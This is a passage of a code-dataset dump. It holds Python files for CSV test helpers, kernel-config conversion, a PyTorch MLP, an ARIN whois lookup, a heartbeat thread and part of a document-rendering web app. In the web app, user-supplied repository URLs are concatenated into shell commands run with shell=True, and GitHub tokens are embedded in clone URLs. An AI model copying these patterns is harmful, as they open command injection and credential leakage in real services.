list_length)\n raise RuntimeError('Could not get the downloaded csv within: [{}] seconds'.format(wait_time))\n\n\ndef _get_file_name_content(file_name, file_path, list_length):\n result = {'file_name': file_name, 'row_content': [], 'dict_content': {}}\n with open(file_path, 'rb') as csv_file:\n if list_length < 0:\n result['row_content'] = [row for row in csv_file.readlines()]\n else:\n for idx in range(list_length):\n result['row_content'].append(csv_file.readline())\n reader = csv.DictReader(csv_file)\n result['dict_content'] = [row for row in reader]\n logger.debug(\"csv result: [{}]\".format(result))\n return result\n\n\ndef clean_csv_file(file_name):\n if os.path.exists(file_name):\n try:\n os.remove(file_name)\n except Exception as e:\n print(\"Exception: {}\".format(e.message))\n else:\n raise IOError(\"{file_name} is not existing\".format(file_name=file_name))\n\n\ndef clean_csv_dir():\n csv_dir_path = get_csv_downloads_file_location()\n if os.path.isdir(csv_dir_path):\n for file_name in os.listdir(csv_dir_path):\n clean_csv_file('{}/{}'.format(csv_dir_path, file_name))\n else:\n raise IOError(\"{dir_name} is not a directory\".format(dir_name=dir))\n\n\ndef _format_estimates(estimates):\n return {key.strip(): value for key, value in estimates.iteritems()}\n\n\ndef get_random_csv_estimates(column_name, list_length=6):\n file_dict_content = get_csv_file_name_content(list_length=list_length)['dict_content']\n for estimates in file_dict_content:\n formatted_estimates = _format_estimates(estimates)\n if formatted_estimates[column_name] is not None:\n return formatted_estimates\n return _format_estimates(file_dict_content[0])\n\n\nif __name__ == '__main__':\n pass\n","sub_path":"tests/qa/utils/csv_utils.py","file_name":"csv_utils.py","file_ext":"py","file_size_in_byte":4228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"316032907","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport getopt, sys, time\nfrom datetime import datetime\nfrom xml.etree import ElementTree\n\ndef get_config_item(line):\n line = line.strip()\n if len(line) >= 20 and line[0] == '#':\n line = line[1:].strip()\n if line.startswith('CONFIG_') and line.endswith(' is not set'):\n index = line.find(' ')\n name = line[0:index]\n value = line[index+1:].strip()\n if value == 'is not set':\n return (name, 'n')\n elif len(line) >= 10 and line.startswith('CONFIG_'):\n index = line.find('=')\n if index + 1 < len(line):\n name = line[0:index].strip()\n value = line[index+1:].strip()\n return (name, value)\n\n return (None, None)\n\ndef usage():\n print(\"\"\"Usage:\n python qemu-arm-config.py --input ARG --output ARG\nOptions:\n -?, h, --help : Display this help message.\n -i, --input ARG : The intput config file.\n -o, --output ARG : The outout config file.\nExamples:\n python qemu-arm-config.py --input file.in --output file.out file.rf1 ...\n\"\"\")\n sys.exit(-1)\n\ndef main():\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"h?i:o:\", \\\n [\"help\", \"input=\", \"output=\"])\n except getopt.GetoptError as err:\n # will print something like \"option -a not recognized\"\n print (\"[%s] [GetoptError] %s\\n\" % (datetime.now(), str(err)), file=sys.stderr)\n usage()\n\n in_file = None\n out_file = None\n\n for o, a in opts:\n print (a, o)\n if o in (\"-i\", \"--input\"):\n in_file = a\n elif o in (\"-o\", \"--output\"):\n out_file = a\n else:\n usage()\n\n if in_file is None or out_file is None:\n usage()\n\n cfg_hash = {}\n\n with open(in_file, 'r') as f:\n for line in f:\n (name, value) = get_config_item(line)\n if name is not None:\n cfg_hash[name] = value\n\n with open(out_file, 'w') as f:\n for name in sorted(cfg_hash.keys()):\n value = cfg_hash[name]\n if (value == 'y'):\n f.write('%s=%s\\n' % (name, value))\n else:\n f.write('# %s is not set\\n' % name)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"posix/linux/kpkg/qemu-arm-config.py","file_name":"qemu-arm-config.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"113659","text":"import torch\nfrom torch.autograd import Variable\nclass MLP(torch.nn.Module):\n \"\"\"MLP network\n \"\"\"\n def __init__(self, shape, activation = torch.nn.ReLU):\n super(MLP, self).__init__()\n self.shape = shape\n assert len(shape) > 1\n self.layers = torch.nn.ModuleList([])\n for num in range(1, len(shape)):\n self.layers.append(torch.nn.Linear(shape[num - 1], shape[num]))\n self.layers.append(torch.nn.BatchNorm1d(shape[num]))\n self.layers.append(activation())\n\n def forward(self, x):\n assert len(x.size()) == 2\n for layer in self.layers:\n x = layer(x)\n x = torch.nn.Softmax()(x)\n return x\n\nif __name__ == '__main__':\n net = MLP([10,2,1])\n params = list(net.parameters())","sub_path":"src/pytorch_examples/mlp.py","file_name":"mlp.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"160388586","text":"#! /bin/python/env\r\n# Author: github.com/rush-dev\r\n\r\nimport requests\r\nimport argparse\r\n\r\nparser = argparse.ArgumentParser(\r\n description='This utility performs a GET request to arin.net to perform queries on IP addresses and returns the output to the terminal.'\r\n)\r\n\r\n# Required arguments\r\nrequired = parser.add_argument_group('required arguments')\r\nrequired.add_argument(\r\n \"-i\",\r\n \"--ip\",\r\n help=\"parses a single IP address.\",\r\n action=\"store\",\r\n type=str,\r\n required=True)\r\n\r\nargs = parser.parse_args()\r\n\r\n# Main code\r\n\r\n# First GET request with IP\r\n\r\nip_request = requests.get(f'http://whois.arin.net/rest/ip/{args.ip}.json')\r\nip_response = ip_request.json()\r\n\r\n# IP network categories\r\n\r\nstart_address = ip_response['net']['startAddress']['$']\r\nend_address = ip_response['net']['endAddress']['$']\r\nhandle = ip_response['net']['handle']['$']\r\nname = ip_response['net']['name']['$']\r\norg_name = ip_response['net']['orgRef']['@name']\r\norg_handle = ip_response['net']['orgRef']['@handle']\r\nlast_updated = ip_response['net']['updateDate']['$']\r\nrest_link = ip_response['net']['ref']['$']\r\n\r\n# Second GET request with organization name\r\n\r\norg_request = requests.get(f'https://whois.arin.net/rest/org/{org_handle}.json')\r\norg_response = org_request.json()\r\n\r\n# Organization categories\r\n\r\ncity = org_response['org']['city']['$']\r\npostal = org_response['org']['postalCode']['$']\r\ncountry = org_response['org']['iso3166-1']['code2']['$']\r\norg_last_updated = org_response['org']['updateDate']['$']\r\norg_rest_link = org_response['org']['ref']['$']\r\n\r\n# Try statements to catch commonly blank fields and differences in indexing on ARIN's side\r\n\r\ntry:\r\n cidr = ip_response['net']['netBlocks']['netBlock']['cidrLength']['$']\r\n\r\nexcept TypeError:\r\n cidr = ip_response['net']['netBlocks']['netBlock'][0]['cidrLength']['$']\r\n\r\ntry:\r\n net_type = ip_response['net']['netBlocks']['netBlock']['description']['$']\r\n\r\nexcept TypeError:\r\n net_type = ip_response['net']['netBlocks']['netBlock'][0]['description']['$']\r\n\r\ntry:\r\n parent_name = ip_response['net']['parentNetRef']['@name']\r\n parent_handle = ip_response['net']['parentNetRef']['@handle']\r\n\r\nexcept KeyError:\r\n parent_name = ''\r\n parent_handle = ''\r\n\r\ntry:\r\n origin_as = ip_response['net']['originASes']['originAS'][0]['$']\r\n\r\nexcept KeyError:\r\n origin_as = ''\r\n\r\ntry:\r\n reg_date = ip_response['net']['registrationDate']['$']\r\n\r\nexcept KeyError:\r\n reg_date = ''\r\n\r\ntry:\r\n org_reg_date = org_response['org']['registrationDate']['$']\r\n\r\nexcept KeyError:\r\n org_reg_date = ''\r\n\r\ntry:\r\n state = org_response['org']['iso3166-2']['$']\r\n\r\nexcept KeyError:\r\n state = ''\r\n\r\ntry:\r\n street = org_response['org']['streetAddress']['line']['$']\r\n\r\nexcept TypeError:\r\n street = org_response['org']['streetAddress']['line'][0]['$']\r\n\r\n# Output to terminal\r\nprint(f'You searched for: {args.ip}\\n')\r\nprint('Network')\r\nprint(f'NetRange: {start_address} - {end_address}')\r\nprint(f'CIDR: {start_address}/{cidr}')\r\nprint(f'Name: {name}')\r\nprint(f'Handle: {handle}')\r\nprint(f'Parent: {parent_name} ({parent_handle})')\r\nprint(f'NetType: {net_type}')\r\nprint(f'OriginAS: {origin_as}')\r\nprint(f'Organization: {org_name} ({org_handle})')\r\nprint(f'RegistrationDate: {reg_date}')\r\nprint(f'LastUpdated: {last_updated}')\r\nprint(f'RESTful Link: {rest_link}\\n')\r\nprint('Organization')\r\nprint(f'Name: {org_name}')\r\nprint(f'Handle: {org_handle}')\r\nprint(f'Street: {street}')\r\nprint(f'City: {city}')\r\nprint(f'State/Province: {state}')\r\nprint(f'PostalCode: {postal}')\r\nprint(f'Country: {country}')\r\nprint(f'RegistrationDate: {org_reg_date}')\r\nprint(f'LastUpdated: {org_last_updated}')\r\nprint(f'RESTful Link: {org_rest_link}')\r\n","sub_path":"whois.py","file_name":"whois.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"553322631","text":"'''\nCreated on 2018.10.16\n@author: chenyongfa\n'''\nimport threading\nimport time\n\n\n\nclass HeartThread(threading.Thread):\n \"\"\"Thread class with a stop() method. The thread itself has to check\n regularly for the stopped() condition.\"\"\"\n\n def __init__(self,socket=None,sn=None,heart_data=None,group=None, target=None, name=None, \n args=(), kwargs=None, verbose=None):\n threading.Thread.__init__(self, group=group, target=target, name=name, args=args, kwargs=kwargs, verbose=verbose)\n self.stop_event = False\n self.socket = socket\n self.sn = sn\n self.heart_data = heart_data\n\n def stop(self):\n self.stop_event=True\n \n def run(self):\n \n while True:\n for i in range(10):\n time.sleep(1)\n if self.stop_event:\n return\n try:\n self.socket.sendall(self.heart_data)\n except:\n pass\n # print \"heartbeat error\"\n # print \"heartbeat\"\n\n\n","sub_path":"src/utils/common/heartThread.py","file_name":"heartThread.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"603077006","text":"#python\nimport logging\nimport ast\nimport jwt\nimport datetime\nimport json\nimport tempfile\nimport time\nimport hashlib\nimport os\nimport subprocess\nimport glob\nimport base64\nimport io\n\n#web app\nfrom tornado.web import os, asynchronous\nimport tornado\nfrom tornado import gen\nfrom tornado.ioloop import IOLoop\nimport jinja2\nfrom flask import Flask, redirect, url_for, session, request, jsonify, render_template\n\n#google oauth\nimport google.oauth2.credentials\nimport google_auth_oauthlib.flow\nimport googleapiclient.discovery\nfrom googleapiclient.http import MediaIoBaseDownload\n\n#pdf context\nimport fitz\n\n#internal\nfrom handlers.apiBaseHandler import BaseHandler\nimport config as conf\nfrom models import User, Document, Link, signRecord, signerUser\nfrom models.mongoManager import ManageDB\nfrom handlers.emailHandler import Mailer\nfrom handlers.WSHandler import *\nfrom utils import *\n\nlatex_jinja_env = jinja2.Environment(\n\tblock_start_string = '\\BLOCK{',\n\tblock_end_string = '}',\n\tvariable_start_string = '${{',\n\tvariable_end_string = '}}$',\n\tcomment_start_string = '\\#{',\n\tcomment_end_string = '}',\n\tline_statement_prefix = '%%line',\n\tline_comment_prefix = '%#line',\n\ttrim_blocks = True,\n\tautoescape = False,\n\tloader = jinja2.FileSystemLoader(os.path.abspath('/'))\n)\n\n# Load Logging definition\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger('tornado-info')\n\nSECRET = conf.SECRET\nRENDER_EMAIL = \"render_and_send_by_email\"\nRENDER_HASH = \"render_sethash_and_download\"\nRENDER_NOHASH = \"render_and_download\"\nRENDER_URL= \"render_by_url_parameters\"\nBASE_PATH = \"/docs/\"\n\n#HTML EMAIL TEMPLATES\nDEFAULT_HTML_TEXT = \\\n \"

Hello,

\\\n

You will find the documentation you requested attached, thank you very much for your interest.

\\\n

Best regards,

\"\nNOTIFICATION_HTML = \\\n \"

Hi!

\\\n

{} has just downloaded the following document {}!

\\\n

You can view detailed analytrics here: {}

\\\n

Keep crushing it!

\\\n

WPCI Admin

\"\nATTACH_CONTENT_TYPE = 'octet-stream'\n\n# S3 PATHS\nFOLDER = \"signed_files/\"\nBUCKET = \"wpci-signed-docs\"\nS3_BASE_URL = \"https://s3-us-west-2.amazonaws.com/\"+BUCKET+\"/\"+FOLDER+\"{}\"\n\n#SMTP VARIABLES\nSMTP_PASS = conf.SMTP_PASS\nSMTP_USER = conf.SMTP_USER\nSMTP_EMAIL = conf.SMTP_EMAIL\nSMTP_ADDRESS = conf.SMTP_ADDRESS\nSMTP_PORT = conf.SMTP_PORT\nSENDER_NAME = \"Andrea WPCI\"\n\n#specific app variables\nDEFAULT_LOGO_PATH = \"static/images/default_logo.base64\"\nTIMEZONE = conf.TIMEZONE\nLANGUAGE = \"en\"\nAUTH_ERROR = {\"error\":\"incorrect authentication\"}\n\n# Axis for the pdf header\nAXIS_X = 15\nAXIS_Y = 500\nAXIS_Y_GOOGLE = 200\nAXIS_X_LOWER = 28\nAXIS_Y_LOWER = AXIS_Y + 11\nPRESENTATION_OFFSET = 130\nWATERMARK_ROTATION = 90\nWATERMARK_FONT = \"Times-Roman\"\nWATERMARK_SIZE = 10\nFLIP_MATRIX = fitz.Matrix(1.0, -1.0) # this generates [a=1,b=0,c=0,d=-1,e=0,f= 0]\n\n# The default message to be sent in the body of the email\nDEFAULT_HTML_TEXT = \"

Hello,

\\\n

You will find the documentation you requested attached, thank you very much for your interest.

\\\n

Best regards,

\"\n\n\ndef encode_auth_token(user):\n \"\"\"\n Generates the Auth Token\n :return: string\n \"\"\"\n try:\n payload = {\n \"exp\": datetime.datetime.utcnow() + datetime.timedelta(days=1, seconds=ONE_HOUR),\n \"iat\": datetime.datetime.utcnow(),\n \"username\": user.username,\n \"password\": user.password\n }\n return jwt.encode(\n payload,\n SECRET,\n algorithm=\"HS256\"\n )\n except Exception as e:\n return e\n\n\ndef decode_auth_token(auth_token):\n \"\"\"\n Decodes the auth token\n :param auth_token:\n :return: json user\n \"\"\"\n try:\n payload = jwt.decode(auth_token, SECRET)\n return payload\n except jwt.ExpiredSignatureError:\n return 'Signature expired. Please log in again.'\n except jwt.InvalidTokenError:\n return 'Invalid token. Please log in again.'\n\n\ndef authenticate(password, username):\n '''this verifies a user and returns a token'''\n if not (username and password):\n return False\n\n user = User.User(username, password)\n if user.check():\n token_auth = encode_auth_token(user)\n\n return token_auth\n\n else:\n return False\n\n\ndef validate_token(access_token):\n \"\"\"Verifies that an access-token is valid and\n meant for this app.\"\"\"\n try:\n method, token = access_token.split(\" \")\n user_id = decode_auth_token(token.strip('\"'))\n\n except Exception as e:\n logger.info(e)\n return False\n\n return user_id\n\n\ndef jwtauth(handler_class):\n \"\"\" Handle Tornado JWT Auth \"\"\"\n userid = None\n\n def wrap_execute(handler_execute):\n def require_auth(handler, kwargs):\n auth = handler.request.headers.get('Authorization')\n\n if auth:\n parts = auth.split()\n\n if parts[0].lower() != 'bearer':\n handler._transforms = []\n handler.set_status(401)\n handler.write(\"invalid header authorization\")\n handler.finish()\n elif len(parts) == 1:\n handler._transforms = []\n handler.set_status(401)\n handler.write(\"invalid header authorization\")\n handler.finish()\n elif len(parts) > 2:\n handler._transforms = []\n handler.set_status(401)\n handler.write(\"invalid header authorization\")\n handler.finish()\n\n try:\n userid = validate_token(auth)\n\n if userid is False:\n handler._transforms = []\n handler.set_status(403)\n handler.write(\"Forbidden\")\n handler.finish()\n\n if 'username' not in userid:\n handler._transforms = []\n handler.set_status(401)\n handler.write(\"Forbidden\")\n handler.finish()\n\n kwargs[\"userid\"] = str(userid)\n\n except Exception as e:\n handler._transforms = []\n handler.set_status(401)\n handler.write(e)\n handler.finish()\n else:\n handler._transforms = []\n handler.write(\"Missing authorization\")\n handler.finish()\n\n return True\n\n def _execute(self, transforms, *args, **kwargs):\n\n try:\n require_auth(self, kwargs)\n except Exception as e:\n logger.info(e)\n return False\n\n return handler_execute(self, transforms, *args, **kwargs)\n\n return _execute\n\n handler_class._execute = wrap_execute(handler_class._execute)\n return handler_class\n\n\ndef authenticate_json(json_data):\n '''Gets the information from the payload and verifies if it is registered'''\n try:\n username = json_data.get(\"username\")\n password = json_data.get(\"password\")\n except:\n return False\n\n if not (username and password):\n return False\n\n user = User.User(username,password)\n\n if user.check():\n token_auth = encode_auth_token(user)\n\n return token_auth.decode(\"utf-8\")\n\n else:\n return False\n\n\ndef render_send_by_link_id(link_id, email, name, email_body_html=\"\", email_body_text=\"\"):\n \"\"\"Download and render a document then sign and send it by email\"\"\"\n b64_pdf_file = pdf_url = None\n doc_file_name = contract_file_name = \"\"\n render_nda_only = render_wp_only = False\n response = dict()\n try:\n doc_id = \"_\".join(link_id.split(\"_\")[:-1])\n except Exception as e:\n logger.info(\"error obtaining link id\")\n return False\n\n try:\n doc = Document.Document()\n thisdoc = doc.find_by_doc_id(doc_id)\n user = User.User()\n user = user.find_by_attr(\"org_id\", thisdoc.org_id)\n\n google_credentials_info = {'token': user.google_token,\n 'refresh_token': user.google_refresh_token,\n 'token_uri': conf.GOOGLE_TOKEN_URI,\n 'client_id': conf.GOOGLE_CLIENT_ID,\n 'client_secret': conf.GOOGLE_CLIENT_SECRET,\n 'scopes': conf.SCOPES}\n\n signer_user = signerUser.SignerUser(email, name)\n # create the signer user so it can generate their keys\n signer_user.create()\n timestamp_now = str(int(time.time()))\n\n if thisdoc.nda_url is None or thisdoc.nda_url == \"\":\n render_wp_only = True\n if thisdoc.wp_url is None or thisdoc.wp_url == \"\":\n error = \"No valid Pdf url found\"\n logger.info(error)\n return False\n else:\n # The file name is composed by the email of the user, the link id and the timestamp of the creation\n doc_file_name = \"doc_{}_{}_{}.pdf\".format(signer_user.email, link_id, timestamp_now)\n response.update({\"s3_doc_url\": \"{}{}view_sign_records/{}\".format(conf.BASE_URL, BASE_PATH, link_id)})\n pdf_url = thisdoc.wp_url\n else:\n pdf_url = thisdoc.nda_url\n contract_file_name = \"contract_{}_{}_{}.pdf\".format(signer_user.email, link_id, timestamp_now)\n response.update({\"s3_contract_url\": \"{}{}view_sign_records/{}\".format(conf.BASE_URL, BASE_PATH, link_id)})\n if thisdoc.wp_url is None or thisdoc.wp_url == \"\":\n render_nda_only = True\n else:\n doc_file_name = \"doc_{}_{}_{}.pdf\".format(signer_user.email, link_id, timestamp_now)\n response.update({\"s3_doc_url\": \"{}{}view_sign_records/{}\".format(conf.BASE_URL, BASE_PATH, link_id)})\n\n doc_type = getattr(thisdoc, \"render\", False)\n if doc_type is not False and doc_type == \"google\":\n google_token = getattr(user, \"google_token\", False)\n if google_token is not False:\n b64_pdf_file = render_pdf_base64_google(pdf_url, google_credentials_info)\n else:\n b64_pdf_file = render_pdf_base64_latex(pdf_url, \"main.tex\", {})\n\n if not b64_pdf_file:\n error = \"Error rendering the pdf with the nda url\"\n logger.info(error)\n return False\n\n thislink = Link.Link()\n thislink = thislink.find_by_link(link_id)\n temp_signed_count = thislink.signed_count\n thislink.signed_count = int(temp_signed_count) + 1\n thislink.status = \"signed\"\n thislink.update()\n\n # render and send the documents by email\n IOLoop.instance().add_callback(callback=lambda: render_and_send_docs(user, thisdoc, b64_pdf_file,\n google_credentials_info, render_wp_only,\n render_nda_only, signer_user, link_id,\n doc_file_name, contract_file_name,\n email_body_html, email_body_text))\n\n return response\n\n except Exception as e:\n logger.info(\"Checking document information {}\".format(str(e)))\n return False\n\n\ndef create_email_pdf(repo_url, user_email, email_body_html, main_tex=\"main.tex\", email_body_text=\"\", options ={}):\n '''Clones a repo and renders the file received as main_tex and then signs it'''\n repo_name = ''\n file_full_path = ''\n attachments_list = []\n new_main_tex = \"main2.tex\"\n ATTACH_CONTENT_TYPE = 'octet-stream'\n mymail = Mailer(username=SMTP_USER, password=SMTP_PASS, host=SMTP_ADDRESS, port=SMTP_PORT)\n\n if user_email is None or user_email== \"\":\n return(\"NO EMAIL TO HASH\")\n user_email = user_email.strip()\n\n logger.info(\"No private access\")\n\n watermark = \"Document generated for: \"+ user_email\n\n clone = 'git clone ' + repo_url\n rev_parse = 'git rev-parse master'\n\n with tempfile.TemporaryDirectory() as tmpdir:\n try:\n timestamp = str(time.time())\n run_latex_result = subprocess.check_output(clone, shell=True, cwd=tmpdir)\n repo_name = os.listdir(tmpdir)[0]\n filesdir = os.path.join(tmpdir, repo_name)\n\n if options != {}: #if there are special conditions to render\n # modify the original template:\n template = latex_jinja_env.get_template(filesdir +\"/\"+main_tex)\n renderer_template = template.render(**options)\n with open(filesdir + \"/\" + new_main_tex, \"w\") as f: # saves tex_code to outpout file\n f.write(renderer_template)\n else:\n new_main_tex = main_tex\n\n file_full_path = filesdir + \"/\" + new_main_tex.split(\".\")[0] + \".pdf\"\n run_git_rev_parse = subprocess.check_output(rev_parse, shell=True, cwd=filesdir)\n complete_hash = get_hash([timestamp, user_email], [run_git_rev_parse.decode('UTF-8')])\n run_latex_result = subprocess.call(\"texliveonfly --compiler=latex \" + new_main_tex, shell=True,\n cwd=filesdir)\n run_latex_result = subprocess.call(\"bibtex \" + new_main_tex.split(\".\")[0], shell=True,\n cwd=filesdir)\n run_latex_result = subprocess.call(\"texliveonfly --compiler=pdflatex \" + new_main_tex, shell=True,\n cwd=filesdir)\n\n pointa = fitz.Point(AXIS_X,AXIS_Y)\n pointb = fitz.Point(AXIS_X_LOWER, AXIS_Y)\n document = fitz.open(file_full_path)\n for page in document:\n page.insertText(pointa, text=watermark, fontsize=10, fontname=WATERMARK_FONT, rotate=WATERMARK_ROTATION)\n page.insertText(pointb, text=\"DocId: \" + complete_hash, fontsize=10, fontname=WATERMARK_FONT,\n rotate=WATERMARK_ROTATION)\n document.save(file_full_path, incremental=1)\n document.close()\n\n attachment = dict(file_type=ATTACH_CONTENT_TYPE, file_path=file_full_path, filename=\"documentation.pdf\")\n attachments_list.append(attachment)\n mymail.send(subject=\"Documentation\", email_from=SMTP_EMAIL,emails_to=[user_email],emails_bcc=[conf.ADMIN_EMAIL],\n attachments_list=attachments_list, text_message=email_body_text,\n html_message=email_body_html)\n\n except IOError as e:\n logger.info('IOError'+ str(e))\n return(\"IO ERROR\")\n except Exception as e:\n logger.info(\"other error\"+ str(e))\n return(\"ERROR PRIVATE REPO OR COULDN'T FIND MAIN.TEX\")\n return True\n\n\ndef create_email_pdf_auth(repo_url, userjson, user_email, email_body_html, main_tex=\"main.tex\", email_body_text =\"\", options={}):\n '''Clones a repo and renders the file received as main_tex and then sends it to the user email (username)'''\n repo_name = ''\n file_full_path = ''\n attachments_list = []\n new_main_tex = \"main2.tex\"\n ATTACH_CONTENT_TYPE = 'octet-stream'\n mymail = Mailer(username=SMTP_USER, password=SMTP_PASS, host=SMTP_ADDRESS, port=SMTP_PORT)\n\n user = User.User(userjson.get(\"username\"), userjson.get(\"password\"))\n github_token = user.get_attribute('github_token')\n if github_token is None or github_token == '':\n return (\"ERROR NO GITHUB TOKEN\")\n\n try:\n repo_url = \"https://{}:x-oauth-basic@{}\".format(github_token,repo_url.split(\"://\")[1])\n except:\n return (\"Invalid GIT Repository URL\")\n\n clone = 'git clone ' + repo_url\n rev_parse = 'git rev-parse master'\n if user_email is None or user_email == \"\":\n user_email = user.username\n user_email = user_email.strip()\n watermark = \"Document generated for: \" + user_email\n\n with tempfile.TemporaryDirectory() as tmpdir:\n try:\n timestamp = str(time.time())\n run_latex_result = subprocess.check_output(clone, shell=True, cwd=tmpdir)\n repo_name = os.listdir(tmpdir)[0]\n filesdir = os.path.join(tmpdir, repo_name)\n if options != {}: #if there are special conditions to render\n # modify the original template:\n template = latex_jinja_env.get_template(filesdir +\"/\"+main_tex)\n renderer_template = template.render(**options)\n with open(filesdir + \"/\" + new_main_tex, \"w\") as f: # saves tex_code to outpout file\n f.write(renderer_template)\n else:\n new_main_tex = main_tex\n\n file_full_path = filesdir + \"/\" + new_main_tex.split(\".\")[0] + \".pdf\"\n run_git_rev_parse = subprocess.check_output(rev_parse, shell=True, cwd=filesdir)\n complete_hash = get_hash([timestamp, user_email], [run_git_rev_parse.decode('UTF-8')])\n run_latex_result = subprocess.call(\"texliveonfly --compiler=latexmk --arguments='-interaction=nonstopmode -pdf' -f \" + new_main_tex, shell=True,\n cwd=filesdir)\n pointa = fitz.Point(AXIS_X, AXIS_Y)\n pointb = fitz.Point(AXIS_X_LOWER, AXIS_Y)\n document = fitz.open(file_full_path)\n for page in document:\n page.insertText(pointa, text=watermark, fontsize=WATERMARK_SIZE, fontname=WATERMARK_FONT,\n rotate= WATERMARK_ROTATION)\n page.insertText(pointb, text=\"DocId: \" + complete_hash, fontsize=WATERMARK_SIZE,\n fontname=WATERMARK_FONT, rotate= WATERMARK_ROTATION)\n document.save(file_full_path, incremental=1)\n document.close()\n\n attachment = dict(file_type=ATTACH_CONTENT_TYPE, file_path=file_full_path, filename=\"documentation.pdf\")\n attachments_list.append(attachment)\n mymail.send(subject=\"Documentation\", email_from=SMTP_EMAIL, emails_to=[user_email],emails_bcc=[conf.ADMIN_EMAIL],\n attachments_list=attachments_list, text_message=email_body_text,\n html_message=email_body_html)\n\n except IOError as e:\n logger.info('IOError'+ str(e))\n return (\"IO ERROR\")\n except Exception as e:\n logger.info(\"other error\"+ str(e))\n return (\"ERROR\")\n return True\n\n\ndef create_download_pdf_auth(repo_url, userjson, email, main_tex=\"main.tex\", options={}):\n '''Clones a repo and renders the file received as main_tex with authentication'''\n repo_name = ''\n file_full_path = ''\n new_main_tex = \"main2.tex\"\n\n user = User.User(userjson.get(\"username\"), userjson.get(\"password\"))\n github_token = user.get_attribute('github_token')\n if github_token is None or github_token == '':\n return(\"ERROR NO GITHUB TOKEN\")\n\n try:\n repo_url = \"https://{}:x-oauth-basic@{}\".format(github_token, repo_url.split(\"://\")[1])\n except:\n return(\"Invalid GIT Repository URL\")\n\n clone = 'git clone ' + repo_url\n rev_parse = 'git rev-parse master'\n if email is None or email == \"\":\n email = user.username\n watermark = \"Document generated for: \" + email\n\n with tempfile.TemporaryDirectory() as tmpdir:\n try:\n timestamp = str(time.time())\n run_latex_result = subprocess.check_output(clone, shell=True, cwd=tmpdir)\n repo_name = os.listdir(tmpdir)[0]\n filesdir = os.path.join(tmpdir, repo_name)\n if options != {}: # if there are special conditions to render\n # modify the original template:\n template = latex_jinja_env.get_template(filesdir +\"/\"+main_tex)\n renderer_template = template.render(**options)\n with open(filesdir + \"/\" + new_main_tex, \"w\") as f: # saves tex_code to outpout file\n f.write(renderer_template)\n else:\n new_main_tex = main_tex\n\n file_full_path = filesdir + \"/\" + new_main_tex.split(\".\")[0] + \".pdf\"\n run_git_rev_parse = subprocess.check_output(rev_parse, shell=True, cwd=filesdir)\n complete_hash = get_hash([timestamp, email], [run_git_rev_parse.decode('UTF-8')])\n run_latex_result = subprocess.call(\"texliveonfly --compiler=latexmk --arguments='-interaction=nonstopmode -pdf' -f \" + new_main_tex, shell=True,\n cwd=filesdir)\n\n pointa = fitz.Point(AXIS_X, AXIS_Y)\n pointb = fitz.Point(AXIS_X_LOWER, AXIS_Y)\n document = fitz.open(file_full_path)\n for page in document:\n page.insertText(pointa, text=watermark, fontsize=WATERMARK_SIZE, fontname=WATERMARK_FONT,\n rotate=WATERMARK_ROTATION)\n page.insertText(pointb, text=\"DocId: \" + complete_hash, fontsize=WATERMARK_SIZE,\n fontname=WATERMARK_FONT, rotate=WATERMARK_ROTATION)\n document.save(file_full_path, incremental=1)\n document.close()\n\n pdffile = open(file_full_path, 'rb').read()\n return(pdffile)\n\n except IOError as e:\n logger.info('IOError'+ str(e))\n return(\"IO ERROR\")\n except Exception as e:\n logger.info(\"other error\"+ str(e))\n return(\"ERROR\")\n\n\ndef create_download_pdf_google(pdf_url, user_credentials, email):\n '''Download and render and then sign a document from google'''\n file_full_path = file_full_path64 = \"\"\n file_tittle = \"document.pdf\"\n MORPH = None\n pdf_id = get_id_from_url(pdf_url)\n if pdf_id is False:\n return False\n\n # Load credentials from the session.\n credentials = google.oauth2.credentials.Credentials(\n **user_credentials\n )\n\n timestamp = str(time.time())\n watermark = \"Document generated for: \" + email\n complete_hash = get_hash([timestamp, email], [pdf_id])\n\n with tempfile.TemporaryDirectory() as tmpdir:\n try:\n file_full_path64 = tmpdir + \"/\" + pdf_id + \".base64\"\n file_full_path = tmpdir + \"/\" + pdf_id + \".pdf\"\n drive = googleapiclient.discovery.build(\n conf.API_SERVICE_NAME, conf.API_VERSION, credentials=credentials)\n\n request = drive.files().export_media(fileId=pdf_id,\n mimeType='application/pdf')\n metadata = drive.files().get(fileId=pdf_id).execute()\n file_tittle = metadata.get(\"title\").strip(\" \") + \".pdf\"\n modified_date = metadata.get(\"modifiedDate\")\n mime_type = metadata.get(\"mimeType\")\n\n fh = io.BytesIO()\n downloader = MediaIoBaseDownload(fh, request, chunksize=conf.CHUNKSIZE)\n done = False\n while done is False:\n status, done = downloader.next_chunk()\n\n\n with open(file_full_path, 'wb') as mypdf:\n mypdf.write(fh.getvalue())\n\n if mime_type == \"application/vnd.google-apps.presentation\":\n pointa = fitz.Point(AXIS_X, AXIS_Y- PRESENTATION_OFFSET)\n pointb = fitz.Point(AXIS_X_LOWER, AXIS_Y- PRESENTATION_OFFSET)\n elif mime_type == \"application/vnd.google-apps.spreadsheet\":\n pointa = fitz.Point(AXIS_X, AXIS_Y)\n pointb = fitz.Point(AXIS_X_LOWER, AXIS_Y)\n\n else:\n pointa = fitz.Point(AXIS_X, AXIS_Y_GOOGLE)\n pointb = fitz.Point(AXIS_X_LOWER, AXIS_Y_GOOGLE)\n MORPH = (pointb, FLIP_MATRIX)\n\n document = fitz.open(file_full_path)\n for page in document:\n page.insertText(pointa, text=watermark, fontsize=WATERMARK_SIZE, fontname=WATERMARK_FONT,\n rotate=WATERMARK_ROTATION, morph=MORPH)\n page.insertText(pointb, text=\"DocId: \" + complete_hash, fontsize=WATERMARK_SIZE,\n fontname=WATERMARK_FONT, rotate=WATERMARK_ROTATION, morph=MORPH)\n document.save(file_full_path, incremental=1)\n document.close()\n\n pdffile = open(file_full_path, 'rb').read()\n\n return 